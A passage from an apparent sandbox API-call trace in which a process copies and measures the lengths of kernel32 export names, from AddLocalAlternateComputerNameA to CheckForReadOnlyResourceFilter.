lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0128.582] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0128.582] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0128.582] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0128.582] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0128.582] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0128.583] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0128.583] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0128.583] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0128.583] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0128.583] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0128.583] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0128.583] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0128.583] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0128.583] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0128.583] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0128.583] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0128.583] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0128.583] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0128.583] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0128.583] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0128.583] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0128.583] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0128.583] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0128.583] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0128.583] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0128.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0128.583] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0128.584] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0128.584] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0128.584] lstrlenA (lpString="BACKUPREAD") returned 10 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0128.584] lstrlenA (lpString="BACKUPSEEK") returned 10 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0128.584] lstrlenA (lpString="BACKUPWRITE") returned 11 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0128.584] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0128.584] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0128.584] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0128.584] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0128.584] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0128.584] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0128.584] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0128.584] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0128.584] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0128.584] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0128.584] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0128.584] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0128.584] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0128.584] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0128.584] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0128.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0128.584] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0128.585] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0128.585] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0128.585] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0128.585] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0128.585] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0128.585] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0128.585] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0128.585] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0128.585] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0128.585] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0128.585] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0128.585] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0128.585] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0128.585] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0128.585] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0128.585] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0128.585] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0128.585] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0128.585] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0128.585] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0128.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0128.585] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0128.586] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0128.586] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0128.586] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0128.586] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0128.586] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0128.586] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0128.586] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0128.586] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0128.586] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0128.586] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0128.586] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0128.586] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0128.586] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0128.586] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0128.586] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0128.586] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0128.586] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0128.586] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0128.586] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0128.586] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0128.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0128.586] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0128.587] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0128.587] lstrlenA (lpString="BEEP") returned 4 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0128.587] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0128.587] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0128.587] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0128.587] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0128.587] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0128.587] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0128.587] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0128.587] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0128.587] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0128.587] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0128.587] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0128.587] lstrlenA (lpString="CANCELIO") returned 8 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0128.587] lstrlenA (lpString="CANCELIOEX") returned 10 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0128.587] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0128.587] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0128.587] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0128.587] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0128.587] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0128.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0128.588] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0128.588] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0128.588] lstrlenA (lpString="CHECKELEVATION") returned 14 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0128.588] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0128.588] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") 